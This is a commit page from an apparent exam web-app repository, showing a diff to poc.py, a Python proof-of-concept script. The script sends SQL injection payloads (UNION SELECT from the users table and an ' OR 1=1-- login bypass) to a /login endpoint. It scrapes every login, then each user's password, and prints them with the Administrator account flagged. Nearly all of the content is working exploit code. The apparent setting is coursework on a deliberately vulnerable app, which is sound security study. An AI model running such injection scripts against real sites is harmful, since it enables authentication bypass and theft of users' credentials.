OkunElya/PC-Seq-Exam-WebApp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

poc ordering FIXEEEED (looks like i'm getting no sleep today))))))

Browse Source
This commit is contained in:
OkunElya
2025-12-16 03:22:05 +10:00
parent ed137b7620
commit 85083c9f15
1 changed files with 13 additions and 10 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
poc.py
View File

@@ -9,28 +9,31 @@ args = parser.parse_args()
BASE_URL = args.base_url BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM users--" login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"} form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True) response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password_payload = "' UNION SELECT password FROM users--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1) logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
logins= logins_raw.split("',), ('") logins= logins_raw.split("',), ('")
passwords = passwords_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords: if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)): for i, (login, password) in enumerate(zip(logins, passwords)):
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
if login == "Administrator": if login == "Administrator":
print(f"{'*' * 60}") print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!") print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}") print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else: else:
print("Не удалось извлечь данные.") print("Не удалось извлечь данные.")